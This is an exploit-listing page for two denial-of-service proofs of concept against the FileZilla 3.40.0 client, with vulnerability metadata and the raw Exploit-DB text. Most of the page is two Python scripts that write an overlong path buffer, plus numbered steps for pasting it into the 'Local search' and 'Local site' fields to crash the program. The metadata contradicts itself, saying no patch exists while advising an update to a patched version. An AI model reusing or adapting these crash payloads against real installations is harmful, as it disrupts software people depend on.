FileZilla 3.40.0 - "Local search" Denial of Service (PoC)

vendor:

FileZilla

by:

Mr Winst0n

5.5

CVSS

MEDIUM

Denial of Service (DoS)

399

CWE

Product Name: FileZilla

Affected Version From: 3.40.0

Affected Version To: 3.40.0

Patch Exists: NO

Related CWE:

CPE: a:filezilla_project:filezilla:3.40.0

Metasploit:

Other Scripts:

Platforms Tested: Kali linux x86_64

2019

FileZilla 3.40.0 – “Local search” Denial of Service (PoC)

The exploit consists of a python script that creates a file with a specific payload and causes FileZilla 3.40.0 to crash when the payload is pasted in the "Search directory" field of the "Local search" feature.

Mitigation:

Update to a patched version of FileZilla.

Source

Exploit-DB raw data:

# Exploit Title: FileZilla 3.40.0 - "Local search" Denial of Service (PoC)
# Discovery by: Mr Winst0n
# Discovery Date: February 20, 2019
# Vendor Homepage: https://filezilla-project.org
# Software Link : https://filezilla-project.org/download.php?type=client&show_all=1
# Tested Version: 3.40.0
# Tested on: Kali linux x86_64
# Vulnerability Type: Denial of Service (DoS)


# Steps to Produce the Crash:
# 1.- Run python code : python filezilla.py
# 2.- Open buff.txt and copy content to clipboard
# 3.- Open Filezilla (located in bin folder), in top bar click on Binoculars icon (search for files recursively)
# 4.- In the opend window, Set Search type to "Local search"
# 5.- Paste ClipBoard on "Search directory" and click on "Search"
# 6.- Boom! Crashed...


#!/usr/bin/env python

buffer = "\x41" * 384
crash = "/" + buffer + "BBBB" + "CCCC"
f = open("buff.txt", "w")
f.write(crash)
f.close()

# Note: If you have not "/" before payload, you should add it to begining of payload, So the program recognizes it as a valid path.


# Exploit Title: FileZilla 3.40.0 - "Local site" Denial of Service (PoC)
# Discovery by: Mr Winst0n
# Discovery Date: February 25, 2019
# Vendor Homepage: https://filezilla-project.org
# Software Link : https://filezilla-project.org/download.php?type=client&show_all=1
# Tested Version: 3.40.0
# Tested on: Kali linux x86_64
# Vulnerability Type: Denial of Service (DoS)


# Steps to Produce the Crash:
# 1.- Run python code : python filezilla-2.py
# 2.- Open crash.txt and copy content to clipboard
# 3.- In "Local site" section paste clipboard and Enter.
# 4.- Boom! Crashed...


#!/usr/bin/env python

buffer = "\x41" * 384
crash = "/" + buffer + "BBBB" + "CCCC"
f = open("crash.txt", "w")
f.write(crash)
f.close()

# Note: If you have not "/" before payload, you should add it to begining of payload, So the program recognizes it as a valid path.